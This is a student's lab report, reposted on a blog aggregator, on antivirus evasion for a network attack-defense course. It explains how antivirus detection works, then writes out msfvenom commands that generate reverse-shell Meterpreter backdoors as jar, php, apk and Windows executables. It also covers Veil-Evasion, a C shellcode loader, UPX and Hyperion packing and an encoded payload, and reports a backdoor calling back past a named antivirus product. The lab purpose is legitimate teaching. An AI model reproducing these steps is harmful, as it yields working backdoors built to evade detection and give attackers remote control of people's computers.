zoukankan      html  css  js  c++  java
  • 202020212 网络对抗技术 20181321 Exp3 免杀原理与实践

    2020-2021-2 网络对抗技术 20181321 Exp3 免杀原理与实践

    一、免杀原理及基础问题回答

    1、免杀原理

    • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
    • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
    • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

    2、基础问题回答

    • (1)杀软是如何检测出恶意代码的?
    • 基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。
    • 启发式恶意软件检测:一种根据片面特征去判断是否为恶意代码的方法。这种方法可以检测0day恶意软件,具有一定的通用性;但是其实时监控系统行为开销稍多,没有基于特征码的精确度高。
    • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。
    • (2)免杀是做什么?
    • 免杀,也就是反病毒与反间谍的对立面,是一种“反杀毒技术”,即通过各种方法对恶意软件或恶意代码进行“包装”,使其不被各种杀毒软件和防火墙发现。与此同时,免杀也是渗透测试中需要使用到的技术。
    • (3)免杀的基本方法有哪些?
    • 1.改变特征码:
      如果手里只有exe
      加壳:压缩壳、加密壳
      有shellcode(如Meterpreter):
      用encode进行编码
      基于payload重新编译生成可执行文件
      有源代码:
      用其他语言进行重新编写
    • 2.改变行为
      通讯方式
      尽量使用反弹式连接
      使用隧道技术
      加密通讯数据
      操作模式
      基于内存操作
      减少对系统的修改
      加入混淆作用的正常功能代码
    • 3.非常规方法
      使用一个有漏洞的应用当成后门,编写攻击代码即成道MSF中
      使用社工类攻击,诱骗目标关闭AV软件
      纯手工打造一个恶意软件

    二、实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1.使用msf编码器,生成exe文件(这里使用实验二的后门程序)

    • 在使用VIirusTotal或者Virscan两个网站对恒星进行扫描(我使用VirusTotal)

    • 扫描结果

    2.msfvenom生成jar文件

    • 生成java后门程序使用命令:

      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=8181 x> qyl_backdoor_java.jar

    • 扫描结果:

    3.msfvenom生成php文件

    • 生成PHP后门程序使用命令:

      msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=8181 x> 20181321_backdoor.php

    • 扫描结果:

    虚拟机崩溃了,用另外一台虚拟机了,所以后面的IP地址和端口都变了

    4.msfvenom生成Android后门apk文件

    • 生成Android后门apk文件使用命令

      msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.231.255 LPORT=1321 x> 20181321_android_backdoor.ap

    • 扫描结果:

    5.安装vei

    • 经历了许多磨难以及很多方法,终于安装成功了。参考了许多学长学姐的博客。

    • 在终端先输入命令

      mkdir -p ~/.cache/wine
      cd ~/.cache/wine
      wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
      wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

    • 然后输入以下命令

      sudo apt-get install libncurses5*
      sudo apt-get install libavutil55*
      sudo apt-get install gcc-mingw-w64*
      sudo apt-get install wine32
      sudo apt-get update

    • 一般会在instal wine32出现问题,无法安装。此时输入命令

      dpkg --add-architecture i386

      再进行wine32的安装

    • 安装veil ,apt-get install veil

    • 输入以下命令,再setup.sh文件的第251行把下载地址换成https://gitee.com/spears/VeilDependencies.git。

      sudo su

      cd /usr/share/veil/config/

      vim setup.sh

    • 然后运行veil进行安装。

    6.用veil生成后门程序

    • 输入veil

    • use evasion命令进入Evil-Evasion

    • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

    • 设置反弹连接IP,命令为:set LHOST 192.168.231.255,注意此处的IP是KaliIP;

    • 设置端口,命令为:set LPORT 1321

    • 输入generate生成文件,接着输入你想要playload的名字:veil_c_1321

    • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_c_1321.exe

    • 扫描结果:

    7.使用C+shellcode生成程序

    • 输入命令生成一段shellcode。

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.231.255 LPORT=1321 -f c

    • 复制这段shellcode,新建C程序20181321.c

    • 使用命令i686-w64-mingw32-g++ 20181321.c -o 20181321.exe将c程序编译为可执行文件

    • 扫描结果:

    8.压缩壳UPX

    • 直接对上一个任务中生成的exe加壳,使用命令upx 20181321.exe -o upxed_20181321.exe

    • 扫描结果:

    • 传输再到window,被查杀。

    9.加密壳Hyperion

    • 将上一个生成的文件拷贝至/usr/share/windows-resources/hyperion,并进入该目录

      (找不到的话,可以运行下面命令找到hyperion的位置)

      sudo apt-get install hyperion

      sudo apt-get install locate

      locate -n 30 hyperion

    • 输入命令wine hyperion.exe -v upxed_20181321.exe upxed_20181321_hyperion.exe

    • 扫描结果:

    任务二:通过组合应用各种技术实现恶意代码免杀

    1.用C+shellcode+压缩+加密

    • 这个是我们实验要求的加密,然后发现还是会被查杀,可能是我门使用的后门程序太low了,所以会被查杀,为了使用我们的后门程序,我使用了10版的电脑管家,发现可以运行没有被查杀。

    • 然后通过实验的操作进行监听,然后获得window的控制权

    2.使用工具shellcode_launcher进行免杀实践

    • 先用Msfvenom生成raw格式的shellcode msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.231.255 lport=1321 -f raw -o 1321.raw

    • 通过nc传输没有被查杀。

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 用Msfvenom生成raw格式的shellcode,(任务2的程序)

    • kali使用msfconsole监听

    • 我方在Windows中运行1321.raw文件

    • 系统:window 7 杀软:电脑管家 版本:10.15.19753,231

    实验遇到的问题及解决方法

    • 在本次实验中,遇到的问题最大就是veil的安装,参考了各种博客,找到了最适合自己虚拟机的方法,在上面博客中已经写了解决方法。
    • 我发现同样的软件,不同的杀毒软件查出来的问题不同,后来发现是由于不同的杀毒软件病毒库不完全相同,杀毒引擎也不一样,并且,不同软件检测恶意代码的方式也不尽相同,这就造成了杀软结果的差别,同时也就造成了有的杀毒软件能查杀,有的不能。(不得不说360真的强)

    实验总结与体会

    • 本次实验是在上次后门实验的基础上的进阶,需要我们熟练掌握和运用后门技术,在实验过程中,我了解了免杀的概念、免杀的基本方法,能够熟练使用VirusTotal、Virscan等工具,能够有条理、有目的的对后门动手实现一些免杀的处理。在实验过程中,生成的一些后门程序有的并没有被本机的杀软检测出来,这使我认识到,杀软没有被检测出来,并不代表完全安全,在以后上网的过程中还需谨慎小心,提高安全意识,要在官方正规网站下载程序,降低被植入后门的可能性。
  • 相关阅读:
    【Cookie】java.lang.IllegalArgumentException An invalid character [32] was present in the Cookie value
    【会话技术】Cookie技术 案例:访问时间
    进程池
    管道和Manager模块(进程之间的共享内容)
    队列
    锁Lock,信号量Semaphore,事件机制Event
    multiprocess模块
    进程
    reduce
    struct模块
  • 原文地址:https://www.cnblogs.com/qbll/p/14618103.html
Copyright © 2011-2022 走看看